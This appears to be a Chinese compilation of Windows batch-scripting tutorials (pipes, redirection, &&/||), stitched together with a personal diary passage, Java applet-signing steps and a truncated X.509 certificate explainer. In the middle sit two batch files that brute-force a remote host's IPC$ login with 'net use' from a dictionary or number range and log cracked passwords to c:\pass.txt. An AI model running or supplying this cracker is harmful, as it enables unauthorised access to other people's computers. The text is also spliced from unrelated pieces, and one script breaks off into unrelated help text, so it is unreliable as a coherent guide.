這個(gè)命令恐怕大家不是很陌生,經(jīng)常操作DOS的朋友都應(yīng)該知道,當(dāng)我們查看一個(gè)命令的幫助時(shí),如果幫助信息比較長,一屏幕顯示不完時(shí)DOS并不給我們時(shí)間讓我們看完一屏幕再翻到另一屏幕,而是直接顯示到幫助信息的最后。如在提示符下輸入help回車時(shí),就會(huì)看到當(dāng)前DOS版本所支持的所有非隱含命令,但你只能看到最后的那些命令,前面的早就一閃而過了,如何解決這個(gè)問題?看例十三:
help | more
回車后會(huì)發(fā)現(xiàn)顯示滿一屏幕后就自動(dòng)暫停,等候繼續(xù)顯示其他信息。當(dāng)按寫回車時(shí),變成一個(gè)一個(gè)的出現(xiàn);按下空格鍵時(shí)一屏幕一屏幕顯示,直到全部顯示完為止;按其他鍵自動(dòng)停止返回DOS。
為什么會(huì)出現(xiàn)上述現(xiàn)象?答案很簡單,這里結(jié)合了管道命令|和DOS命令more來共同達(dá)到目的的。這里先簡單介紹一下help命令和more命令,對(duì)理解|命令的用法有很大幫助。
11.1、help命令。其實(shí)這個(gè)命令是不需要多說的,但在上述例子中help命令的用法比較特殊,直接在DOS提示符下輸入help命令,結(jié)果是讓 DOS顯示其所支持的所有非隱含命令,而在其他地方用help命令,如輸入net help回車,則是顯示net命令的幫助信息。
11.2、more命令。可能很多朋友以前就沒有接觸過這個(gè)命令,這個(gè)命令在Linux下的用處非常廣泛,也是管道命令之一。大家可以找一篇比較長的文章(a.txt)在DOS提示符下輸入如下兩個(gè)命令去比較一下差別:more a.txt和type a.txt。利用more命令,可以達(dá)到逐屏或逐行顯示輸出的效果,而type命令只能一次把輸出顯示完,最后的結(jié)果就是只能看到末尾的部分。在例十三里,more命令的作用就是讓輸出的信息逐屏或逐行顯示。
看到這里,你是否已經(jīng)能隱約感受到了|命令的作用了?沒錯(cuò),它的作用,就是把前一命令的輸出當(dāng)后一命令的輸入來用的。在例十三里,前一命令的輸出,就是 help命令執(zhí)行后顯示的DOS所支持的所有非隱含命令,而這個(gè)結(jié)果剛好做了后一命令more的輸入。所以例十三和下面的例十四是等效的:
help > a.txt
more a.txt
del a.txt
這里利用另一管道命令>生成了一個(gè)a.txt文件作為中間環(huán)節(jié),在用more命令查看a.txt文件后再刪除a.txt文件(例十三的所有操作是在內(nèi)存中進(jìn)行的,不生成文件)。可以看出,正確使用管道命令|可以帶來事半功倍的效果。
結(jié)合例十三和例十四,以及前面的例九再體會(huì)一遍:|命令的作用,就是讓前一命令的輸出當(dāng)做后一命令的輸入。
12、>、>>
這兩個(gè)命令的效果從本質(zhì)上來說都是一樣的,他們都是輸出重定向命令,說的通俗一點(diǎn),就是把前面命令的輸出寫入到一個(gè)文件中。這兩個(gè)命令的唯一區(qū)別是,>會(huì)清除掉原有文件中的內(nèi)容后把新的內(nèi)容寫入原文件,而>>只會(huì)另起一行追加新的內(nèi)容到原文件中,而不會(huì)改動(dòng)其中的原有內(nèi)容。例十五:
echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat
依次在DOS提示符下輸入以上各行命令,一行一個(gè)回車,將在當(dāng)前目錄下生成一個(gè)a.bat文件,里面的內(nèi)容如下:
@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit
看到這里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的寫入功能編輯一個(gè)文本,而不需要專門的文本編輯工具;2、管道命令> 和>>的區(qū)別如上所述。如果這里只用>命令來完成上面操作,最后也會(huì)生成一個(gè)a.bat,但里面的內(nèi)容就只剩下最后一行exit了。所以>和>>一般都聯(lián)合起來用,除非你重定向的輸出只有一行,那么就可以只用>了。結(jié)合例一再仔細(xì)體會(huì)輸出重定向管道命令> 和>>的用法。
13、<、>&、<&
這三個(gè)命令也是管道命令,但它們一般不常用,你只需要知道一下就ok了,當(dāng)然如果想仔細(xì)研究的話,可以自己查一下資料。
<,輸入重定向命令,從文件中讀入命令輸入,而不是從鍵盤中讀入。
>&,將一個(gè)句柄的輸出寫入到另一個(gè)句柄的輸入中。
<&,剛好和>&相反,從一個(gè)句柄讀取輸入并將其寫入到另一個(gè)句柄輸出中。
關(guān)于這三個(gè)管道命令的舉例,在后面批處理腳本的精妙應(yīng)用中還將涉及到。
下面介紹組合命令:&、&&、||
組合命令,顧名思義,就是可以把多個(gè)命令組合起來當(dāng)一個(gè)命令來執(zhí)行。這在批處理腳本里是允許的,而且用的非常廣泛。它的格式很簡單----既然現(xiàn)在已經(jīng)成了一個(gè)文件了,那么這多個(gè)命令就要用這些組合命令連接起來放在同一行----因?yàn)榕幚碚J(rèn)行不認(rèn)命令數(shù)目。組合命令的作用,就如同給愛人陪不是,說一句是說,說十句也是說,不一次把好話都說了出來,效果可能會(huì)好些----當(dāng)然得排除一種特殊情況:這些話是否有先后順序,有些話是否可以同時(shí)說。在批處理腳本里也一樣,有些時(shí)候某些命令是不能同時(shí)執(zhí)行的,后面給你說。
剛剛又送走了一個(gè)同學(xué),人去樓空的感覺越來越明顯,望著空蕩蕩的床鋪,平日里喧鬧的宿舍就只剩下我一個(gè)人了,整個(gè)世界只有那個(gè)平時(shí)令人非常討厭的老鼠這時(shí)候才顯得可愛起來----只有它會(huì)陪著我在這不敢開燈的漆黑夜里----一個(gè)連期末考試都應(yīng)付不了的失敗男人。失敗!我感到快要呼吸不過來,這種失敗的壓力簡直令我窒息,簡直讓我的手接收不到大腦的信號(hào),簡直讓這篇未完成的教程夭折。但我能怪誰?
忙碌了一學(xué)期要過年了卻掛了科,失敗;掛了科也倒罷了,竟然一個(gè)人拖全班的后退,失敗中的失敗;更失敗的,是在這最失落的時(shí)候,竟然找不到一個(gè)人可以傾訴;然而最失敗的,是突然發(fā)現(xiàn)自己竟然如此脆弱,如此耐不住寂寞。不過這倒也解開了心中疑惑很久的一個(gè)問題:為什么明知道那段情是一個(gè)旋渦卻還心甘情愿的往里面跳----這就是青春,風(fēng)一樣的年齡,火一樣不安的心。不再愛了,我不要再一個(gè)人的時(shí)候苦苦等待;不再愛了,我不要在你給的囚籠里憐憫的愛;不再愛了,我不要在別人的視線里如此可笑;不再愛,我不再愛。就算塌下來,我也要一個(gè)人扛著,頭不能低腰不能彎,不能喘息不能傾訴,因?yàn)殡m然失敗,但還是男人,是男人就不能向困難低頭!
14、&
這可以說是最簡單的一個(gè)組合命令了,它的作用是用來連接n個(gè)DOS命令,并把這些命令按順序執(zhí)行,而不管是否有命令執(zhí)行失敗。例十六:
copy a.txt b.txt /y & del a.txt
其實(shí)這句和move a.txt b.txt的效果是一樣的,只不過前者是分了兩步來進(jìn)行的(在后面還將涉及到具體使用哪種方法的問題)。這個(gè)命令很簡單,就不多費(fèi)口舌了,唯一需要注意的一點(diǎn)是,這里&兩邊的命令是有執(zhí)行順序的,從前往后執(zhí)行。
15、&&
切記,這里介紹的幾個(gè)命令都是組合命令,所以他們前后都必須都有其他命令(要不如何組合?)。這個(gè)命令也不例外,它可以把它前后兩個(gè)命令組合起來當(dāng)一個(gè)命令來用,與&命令不同之處在于,它在從前往后依次執(zhí)行被它連接的幾個(gè)命令時(shí)會(huì)自動(dòng)判斷是否有某個(gè)命令執(zhí)行出錯(cuò),一旦發(fā)現(xiàn)出錯(cuò)后將不繼續(xù)執(zhí)行后面剩下的命令。這就為我們自動(dòng)化完成一些任務(wù)提供了方便。例十七:
dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www
如果遠(yuǎn)程主機(jī)存在user.mdb,則copy到本地e:\backup\www,如果不存在當(dāng)然就不執(zhí)行copy了。這句對(duì)搞網(wǎng)管的朋友是否有點(diǎn)用呢?呵呵。其實(shí)它和下面這句的作用是一樣的:
if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www
至于你喜歡用哪個(gè)就隨便了,我沒辦法判斷dir和if兩個(gè)命令哪一個(gè)執(zhí)行效率更高,所以不知道用哪個(gè)更好,呵呵。
你是否還記得“有些命令是不能同時(shí)執(zhí)行的”?你是否相信這句話?當(dāng)然得相信,不信就給你出道題:把C盤和D盤的文件和文件夾列出到a.txt文件中。你將如何來搞定這道題?有朋友說,這還不是很easy的問題嗎?同時(shí)執(zhí)行兩個(gè)dir,然后把得到的結(jié)果>到a.txt里就ok了嘛,看例十八:
dir c:\ && dir d:\ > a.txt
仔細(xì)研究一下這句執(zhí)行后的結(jié)果,看看是否能達(dá)到題目的要求!錯(cuò)了!這樣執(zhí)行后a.txt里只有D盤的信息!為什么?就因?yàn)檫@里&&命令和>命令不能同時(shí)出現(xiàn)一個(gè)句子里(批處理把一行看成一個(gè)句子)!!組合命令&&的優(yōu)先級(jí)沒有管道命令>的優(yōu)先級(jí)高(自己總結(jié)的,不妥的地方請(qǐng)指正)!所以這句在執(zhí)行時(shí)將本分成這兩部分:dir c:\和dir d:\ > a.txt,而并不是如你想的這兩部分:dir c:\ && dir d:\和> a.txt。要使用組合命令&&達(dá)到題目的要求,必須得這么寫:
dir c:\ > a.txt && dir d:\ >> a.txt
這樣,依據(jù)優(yōu)先級(jí)高低,DOS將把這句話分成以下兩部分:dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的幾句的差別比較特殊,值得好好研究體會(huì)一下。
當(dāng)然這里還可以利用&命令(自己想一下道理哦):
dir c:\ > a.txt & dir d:\ >> a.txt
16、||
這個(gè)命令的用法和&&幾乎一樣,但作用剛好和它相反:利用這種方法在執(zhí)行多條命令時(shí),當(dāng)遇到一個(gè)執(zhí)行正確的命令就退出此命令組合,不再繼續(xù)執(zhí)行下面的命令。題目:查看當(dāng)前目錄下是否有以s開頭的exe文件,如果有則退出。例十九:
@echo off
dir s*.exe || exit
其實(shí)這個(gè)例子是有破綻的,你看出來了嗎?其實(shí)很簡單,自己試試就知道了嘛:如果存在那個(gè)exe文件,就退出;如果不存在那個(gè)exe文件,也退出!為什么?因?yàn)槿绻淮嬖谀莻€(gè).exe文件,則前一條命令dir s*.exe執(zhí)行肯定是不成功的,所以就繼續(xù)執(zhí)行exit,自然就退出了,呵呵。那么如何解決題目給出的問題呢?看例二十:
@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit
這樣執(zhí)行的結(jié)果,就能達(dá)到題目的要求,是否存在s*.exe將出現(xiàn)兩種結(jié)果。這里加暫停的意思,當(dāng)然是讓你能看到echo輸出的內(nèi)容,否則一閃而過的窗口,echo就白寫了。
給出兩個(gè)更好研究優(yōu)先級(jí)(同時(shí)也是更難理解)的腳本,仔細(xì)研究它們的區(qū)別,以便徹底理解各種命令的優(yōu)先級(jí)順序,對(duì)以后自己利用這些命令寫腳本有很大的好處----不會(huì)出錯(cuò)!OK,請(qǐng)看例二十一和例二十二:
例二十一:
@echo off
dir a.ttt /a & dir a.txt || exit
例二十二:
@echo off
dir a.ttt /a && dir a.txt || exit
警告:患有心腦血管病的朋友請(qǐng)不要研究以上兩例,否則輕者頭大如斗,重者血管爆裂。任何人由于研究這兩個(gè)腳本的區(qū)別而造成的任何事故由自己或其合法監(jiān)護(hù)人負(fù)責(zé),與本人和本論壇無關(guān)。特此警告!
有關(guān)管道命令和組合命令就大概介紹到這里了,不知道聰明的你是否理解?呵呵,能理解就成天才了,除非你以前就已經(jīng)掌握!千萬別小看了這幾個(gè)鬼命令,大棒槌是我的說,簡直就不是人學(xué)的東西!但我還是靜下心來研究了一番,最后得出的結(jié)論如上所述,已經(jīng)一點(diǎn)不剩的交給你了,希望你好好收藏并消化吸收,當(dāng)然有錯(cuò)誤被你發(fā)現(xiàn)了,或者不完整的地方被你看出來了,請(qǐng)趕緊告訴我一聲!
這幾個(gè)命令真的把我的頭都搞大了。在網(wǎng)上有一篇流傳很廣的批處理教程:“簡明批處理教程”,雖然說的比較全面,但看起來很不過癮。在對(duì)for等命令介紹時(shí)就一個(gè)for /? > a.txt & start a.txt完事了(當(dāng)然這一點(diǎn)上我不能說人家什么,畢竟我連for /?都沒給出),而對(duì)上述管道命令和組合命令、以及這篇教程以后將講到的用批處理操作注冊(cè)表等方面根本沒有介紹。我之所以花整整一章來講管道命令和組合命令,是因?yàn)樗麄儾攀桥幚淼木A和靈魂,能否正確利用好這幾個(gè)命令,是能否掌握批處理的前提條件。如for、set等DOS命令的問題,可以從DOS的角度出發(fā)專門有針對(duì)性的學(xué)習(xí),但有關(guān)這幾個(gè)命令的問題,卻是不容易精通掌握的----他們之間的關(guān)系太復(fù)雜了!
將下列代碼存為bat文件
1、如果用字典破解:pass.bat 字典文件路徑及名稱 主機(jī) 用戶名
2、如果用數(shù)字破解:pass.bat 起始數(shù) 步長 結(jié)束數(shù) 主機(jī) 用戶名
密碼破解出來之后,存放于c:\pass.txt文件里面。
將下列代碼存為pass.bat文件
@echo off
echo ------------------------------------------------------------------- >>c:\pass.txt
echo ------------------------------------------------------------------- >>c:\pass.txt
date /t >>c:\pass.txt
time /t >>c:\pass.txt
echo 破解結(jié)果: >>c:\pass.txt
if "%6"=="1" goto 大棒槌是我的說2
:大棒槌是我的說1
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的說2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
將下列代碼存為test.bat
net use \\%1\ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令執(zhí)行返回結(jié)果,net use成功返回0,失敗返回2
:answer0
echo 遠(yuǎn)程主機(jī):"%1" >>c:\pass.txt
echo 用 戶:"%3" >>c:\pass.txt
echo 密 碼:%2 >>c:\pass.txt
net use \\%1\ipc$ /delet
exit
:answer2
For
對(duì)一組文件中的每個(gè)文件運(yùn)行指定的命令。
可以在批處理程序中或直接從命令提示符使用 for 命令。
要在批處理程序中使用 for 命令,請(qǐng)使用以下語法:
for %%variable in (set) docommand [command-parameters]
要在命令提示符下使用 for,請(qǐng)使用以下語法:
for %variable in (set) do command [command-parameters]
參數(shù)
%%variable 或 %variable
代表可替換的參數(shù)。for 命令使用在 set 中指定的每個(gè)文本字符串替換 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)處理所有的文件為止。使用 %% variable 在批處理程序中執(zhí)行 for 命令。使用 % variable 通過命令提示符執(zhí)行 for 命令。變量名區(qū)分大小寫。
(set)
指定要用指定的命令處理的一個(gè)或多個(gè)文件或文本字符串。需要括號(hào)。
command
指定要在指定的 set 所包含的每個(gè)文件上執(zhí)行的命令。
command-parameters
指定要用于指定命令(如果指定的命令要使用任何參數(shù)或開關(guān))的任何參數(shù)或開關(guān)。
如果啟用了命令擴(kuò)展(Windows 2000 中的默認(rèn)設(shè)置),將支持 for 命令的其他形式。
For 命令的其他形式
如果啟用了命令擴(kuò)展,將支持如下 for 命令的其他格式:
只限于目錄
for /D [%% | %]variable in (set) docommand [command-parameters]
如果 set 包含通配符(* 和 ?),則指定與目錄名匹配,而不是文件名。
遞歸
for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]
進(jìn)入根目錄樹[drive:]path,在樹的每個(gè)目錄中執(zhí)行 for 語句。如果在 /R 后沒有指定目錄,則假定為當(dāng)前目錄。如果 set 只是一個(gè)句號(hào) (.) 字符,則只列舉目錄樹。
迭代
for /L [%% | %]variable in (start,step,end) do command [command-parameters]
集合是一系列按步長量劃分的、從頭到尾的數(shù)字。這樣,(1,1,5) 將生成序列 1 2 3 4 5,而 (5,-1,1) 將生成序列 (5 4 3 2 1)。
BAT文件技巧
文章結(jié)構(gòu)
1. 所有內(nèi)置命令的幫助信息
2. 環(huán)境變量的概念
3. 內(nèi)置的特殊符號(hào)(實(shí)際使用中間注意避開)
4. 簡單批處理文件概念
5. 附件1 tmp.txt
6. 附件2 sample.bat
######################################################################
1. 所有內(nèi)置命令的幫助信息
######################################################################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
______________________________________________________________________
下面將所有上面的幫助輸出到一個(gè)文件
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt
______________________________________________________
######################################################################
2. 環(huán)境變量的概念
######################################################################
_____________________________________________________________________________
C:Program Files>set
ALLUSERSPROFILE=C:Documents and SettingsAll Users
CommonProgramFiles=C:Program FilesCommon Files
COMPUTERNAME=FIRST
ComSpec=C:WINNTsystem32cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:WINNTsystem32os2dll;
Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:WINNT
TEMP=C:WINNTTEMP
TMP=C:WINNTTEMP
USERPROFILE=C:Documents and SettingsDefault User
windir=C:WINNT
_____________________________________________________________________________
path: 表示可執(zhí)行程序的搜索路徑. 我的建議是你把你的程序copy 到
%windir%system32. 這個(gè)目錄里面. 一般就可以自動(dòng)搜索到.
語法: copy mychenxu.exe %windir%system32.
使用點(diǎn)(.) 便于一目了然
對(duì)環(huán)境變量的引用使用(英文模式,半角)雙引號(hào)
%windir% 變量
%%windir%% 二次變量引用.
我們常用的還有
%temp% 臨時(shí)文件目錄
%windir% 系統(tǒng)目錄
%errorlevel% 退出代碼
輸出文件到臨時(shí)文件目錄里面.這樣便于當(dāng)前目錄整潔.
對(duì)有空格的參數(shù). 你應(yīng)該學(xué)會(huì)使用雙引號(hào)("") 來表示比如對(duì)porgram file文件夾操作
C:>dir p*
C: 的目錄
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47
Program Files
1 個(gè)文件 2,164 字節(jié)
1 個(gè)目錄 1,505,997,824 可用字節(jié)
C:>cd pro*
C:Program Files>
C:>
C:>cd "Program Files"
C:Program Files>
######################################################################
3. 內(nèi)置的特殊符號(hào)(實(shí)際使用中間注意避開)
######################################################################
微軟里面內(nèi)置了下列字符不能夠在創(chuàng)建的文件名中間使用
con nul aux / | || && ^ > < *
You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要么你使用^作為前導(dǎo)字符表示.或者就只有使用雙引號(hào)""了)
To create the variable value new&name, type:
set varname=new^&name
To create the variable value "new&name", type:
set varname="new&name"
The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.
find "Pacific Rim" < trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing
> 創(chuàng)建一個(gè)文件
>> 追加到一個(gè)文件后面
@ 前綴字符.表示執(zhí)行時(shí)本行在cmd里面不顯示, 可以使用 echo off關(guān)閉顯示
^ 對(duì)特殊符號(hào)( > < &)的前導(dǎo)字符. 第一個(gè)只是顯示aaa 第二個(gè)輸出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一樣的缺省分隔符號(hào).
; 注釋,表示后面為注釋
: 標(biāo)號(hào)作用
| 管道操作
& Usage:第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法可以同時(shí)執(zhí)行多條命令,而不管命令是否執(zhí)行成功
dir c:*.exe & dir d:*.exe & dir e:*.exe
&& Usage:第一條命令 && 第二條命令 [&& 第三條命令...]
當(dāng)碰到執(zhí)行出錯(cuò)的命令后將不執(zhí)行后面的命令,如果一直沒有出錯(cuò)則一直執(zhí)行完所有命令;
|| Usage:第一條命令 || 第二條命令 [|| 第三條命令...]
當(dāng)碰到執(zhí)行正確的命令后將不執(zhí)行后面的命令,如果沒有出現(xiàn)正確的命令則一直執(zhí)行完所有命令;
常用語法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2
IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母順序 ijklmnopq依次取參數(shù).
eol=c - 指一個(gè)行注釋字符的結(jié)尾(就一個(gè))
skip=n - 指在文件開始時(shí)忽略的行數(shù)。
delims=xxx - 指分隔符集。這個(gè)替換了空格和跳格鍵的默認(rèn)分隔符集。
一、服務(wù)器端:
1.將程序需要用到的各種包文件全部解壓,然后使用JDK的打包命令將編譯好的監(jiān)控程序.class和剛才解壓的包一起打包到一個(gè)包中。都是dos狀態(tài)下的命令,具體命令見jdk1.4的bin目錄下,(這里的文件包括JDBC驅(qū)動(dòng)的三個(gè)文件)
命令如下:
jar cvf monitor.jar *.class
此命令生成一個(gè)名為monitor.jar的包
2.為剛才創(chuàng)建的包文件(monitor.jar)創(chuàng)建keystore和keys。其中
keystore將用來存放密匙(private keys)和公共鑰匙的認(rèn)證,alias別名這兒取為monitor。
命令如下:
keytool -genkey -keystore monitor.keystore –alias monitor -validity 4000
此命令生成了一個(gè)名為monitor.keystore的keystore文件,
接著這條命令,系統(tǒng)會(huì)問你好多問題,比如你的公司名稱,你
的地址,你要設(shè)定的密碼等等,都由自己的隨便寫。
3.使用剛才生成的鑰匙來對(duì)jar文件進(jìn)行簽名
命令如下:
jarsigner -keystore monitor.keystore monitor.jar monitor
這個(gè)命令將對(duì)monitor.jar文件進(jìn)行簽名,不會(huì)生成新文件。
4.將公共鑰匙導(dǎo)入到一個(gè)cer文件中,這個(gè)cer文件就是要拷貝到客戶端的唯一文件 。
命令如下:
keytool -export -keystore monitor.keystore -alias monitor -file monitor.cer
此條命令將生成monitor.cer認(rèn)證文件,當(dāng)然這幾步都有可能問你剛
才設(shè)置的密碼。
這樣就完成了服務(wù)器端的設(shè)置。這時(shí)你就可以將jar文件和keystore文件以及cer文件(我這兒是monitor.jar,monitor.keystore,monitor.cer)拷貝到服務(wù)器的目錄下了,我用的是Tomcat,所以就拷貝到C:\JBuilder8\thirdparty\jakarta-tomcat-4.1.12-LE-jdk14\webapps\ROOT下的自己建的一個(gè)目錄下了。
二、客戶端:
1. 首先應(yīng)該安裝2re-1_4_1_03-windows-i586-i,然后將服務(wù)器端生成的monitor.cer
文件拷貝到j(luò)re的特定目錄下,我這兒是:
C:\Program Files\Java\j2re1.4.1_03\lib\security目錄下。
2. 將公共鑰匙倒入到j(luò)re的cacerts(這是jre的默認(rèn)keystore)
命令如下:
keytool -import -alias monitor -file monitor.cer
-keystore cacerts
注意這兒要你輸入的是cacerts的密碼,應(yīng)該是changeit,而不
是你自己設(shè)定的keystore的密碼。
3. 修改policy策略文件,在dos狀態(tài)下使用命令 policytool
系統(tǒng)會(huì)自動(dòng)彈出一個(gè)policytool的對(duì)話框,如圖4所示,在這里面首先選擇file菜單的open項(xiàng),
打開C:\Program Files\Java\j2re1.4.1_03\lib\security目錄下的java.poliy文件,然后在edit菜單中選擇Change keystore ,在對(duì)話框中new keystore url:中輸入
file:/ C:/Program Files/Java/j2re1.4.1_03/lib/security/cacerts,
這兒要注意反斜杠,在new keystore type 中輸入JKS,這是cacerts的固定格式,然后單擊Add Policy Entry,在出現(xiàn)的對(duì)話框中CodeBase中輸入:
http://168.168.1.202:8080/*
其中的168.168.1.202是我服務(wù)器的IP地址,8080是我的Tomcat的端口,如果你是在別的應(yīng)用服務(wù)器上比如說是apache,那端口號(hào)就可以省略掉。
在SignedBy中輸入(別名alias):這兒是Monitor
然后單擊add peimission按鈕,在出現(xiàn)的對(duì)話框中permission中選擇你想給這個(gè)applet的權(quán)限,這兒具體有許多權(quán)限,讀者可以自己找資料看看。我這兒就選用allpeimission,右邊的signedBy中輸入別名:monitor
最后保存,在file菜單的save項(xiàng)。
當(dāng)然你可以看見我已經(jīng)對(duì)多個(gè)包實(shí)現(xiàn)了簽名認(rèn)證。
看需要可以選擇設(shè)不設(shè)置客戶端.
轉(zhuǎn)載序:網(wǎng)上找的好文章,一篇就把我找了幾天的所有東西都概括進(jìn)來了,真是非常感謝作者:李素科 其實(shí)在找資料的過程當(dāng)中,主要沒解決的問題在于如何獲得KeyStore文件中的PrivateKey,本來查jsdk 1.4 api文檔就可以知道了,但是居然從上到下看了2遍,沒有發(fā)現(xiàn)這個(gè)方法:load() .......)
證書(Certificate,也稱public-key certificate)是用某種簽名算法對(duì)某些內(nèi)容(比如公鑰)進(jìn)行數(shù)字簽名后得到的、可以用來當(dāng)成信任關(guān)系中介的數(shù)字憑證。證書發(fā)行機(jī)構(gòu)通過發(fā)行證書告知證書使用者或?qū)嶓w其公鑰(public-key)以及其它一些輔助信息。證書在電子商務(wù)安全交易中有著廣泛的應(yīng)用,證書發(fā)行機(jī)構(gòu)也稱CA(Certificate Authority)。
應(yīng)用證書
證書在公鑰加密應(yīng)用中的作用是保證公鑰在某些可信的機(jī)構(gòu)發(fā)布,其在協(xié)議SSL、電子交易協(xié)議SET等方面有重要的應(yīng)用。圖1顯示了一個(gè)最簡單的證書應(yīng)用方法:
圖1 證書應(yīng)用方法
證書的應(yīng)用步驟是:
(1) A把自己的公鑰PKA送到CA(Certificate Authority);
(2) CA用自己的私鑰和A的公鑰生成A的證書,證書內(nèi)包括CA的數(shù)字簽名。簽名對(duì)象包括需要在證書中說明的內(nèi)容,比如A的公鑰、時(shí)間戳、序列號(hào)等,為了簡化這里不妨假設(shè)證書中只有三項(xiàng)內(nèi)容:A的公鑰PKA、時(shí)間戳TIME1、序列號(hào)IDA。那么CA發(fā)送給A的簡單證書憑證可表達(dá)為:CertA=Eca[TIME1,IDA,PKA];
(3) B同樣把自己的公鑰PKB送到CA;
(4) B得到CA發(fā)布的證書CertB;
(5) A告知B證書CertA;
(6) B告知A證書CertB。
A、B各自得到對(duì)方證書后,利用從CA得到的公鑰(在CA的自簽證書中)驗(yàn)證彼此對(duì)方的證書是否有效,如果有效,那么就得到了彼此的公鑰。利用對(duì)方的公鑰,可以加密數(shù)據(jù),也可以用來驗(yàn)證對(duì)方的數(shù)字簽名。
本文為了方便說明,并沒有使用從CA獲得的證書,而是通信雙方各自產(chǎn)生自簽證書,也就是說圖1的A和B并沒有經(jīng)過CA,不過前提是A和B之間是互相擁有對(duì)方的證書。
證書的內(nèi)容和意義如表1所示(這里以通用X .509證書格式為例)。
表1 證書內(nèi)容和意義
證書內(nèi)容 |
意義 |
Version |
告訴這個(gè)X.509證書是哪個(gè)版本的,目前有v1、V2、v3 |
Serial Number |
由證書分發(fā)機(jī)構(gòu)設(shè)置證書的序列號(hào) |
Signature Algorithm Identifier |
證書采用什么樣的簽名算法 |
Issuer Name |
證書發(fā)行者名,也就是給這個(gè)證書簽名的機(jī)構(gòu)名 |
Validity Period |
證書有效時(shí)間范圍 |
Subject Name |
被證書發(fā)行機(jī)構(gòu)簽名后的公鑰擁有者或?qū)嶓w的名字,采用X.500協(xié)議,在Internet上的標(biāo)志是惟一的。例如:CN=Java,OU=Infosec,O=Infosec Lab,C=CN表示一個(gè)subject name。 |
對(duì)證書的詳細(xì)定義及其應(yīng)用相關(guān)的各種協(xié)議,這里不加詳細(xì)說明,詳細(xì)細(xì)節(jié)請(qǐng)查看RFC2450、RFC2510、RFC2511、RFC2527、RFC2528、RFC2559、RFC2560、RFC2585、RFC2587等文檔。
生成自簽證書
個(gè)人或機(jī)構(gòu)可以從信任的證書分發(fā)機(jī)構(gòu)申請(qǐng)得到證書,比如說,可以從http://ca.pku.edu.cn 得到一個(gè)屬于個(gè)人的證書。這里可以利用J2SDK的安全工具keytool手工產(chǎn)生自簽證書,所謂自簽證書是指證書中的“Subject Name”和“Issuer Name”相同的證書。
下面產(chǎn)生一個(gè)自簽證書。安裝完J2SDK(這里用的是J2SDK1.4)后,在J2SDK安裝目錄的bin目錄下,有一個(gè)keytool的可執(zhí)行程序。利用keytool產(chǎn)生自簽證書的步驟如下:
第一步,用-genkey命令選項(xiàng),產(chǎn)生公私密鑰對(duì)。在控制臺(tái)界面輸入:keytool -genkey -alias testkeypair -keyalg RSA -keysize 1024 -sigalg MD5withRSA。這里的-alias表示使用這對(duì)公私密鑰產(chǎn)生新的keystore入口的別名(keystore是用來存放管理密鑰對(duì)和證書鏈的,缺省位置是在使用者主目錄下,以.keystore為名的隱藏文件,當(dāng)然也可指定某個(gè)路徑存放.keystore文件);-keyalg是產(chǎn)生公私鑰對(duì)所用的算法,這里是RSA;-keysize定義密鑰的長度;-sigalg是簽名算法,選擇MD5withRSA,即用RSA簽名,然后用MD5哈希算法摘要。接下來,系統(tǒng)會(huì)提示進(jìn)行一些輸入:
輸入keystore密碼: abc123
您的名字與姓氏是什么?
[Unknown]: Li
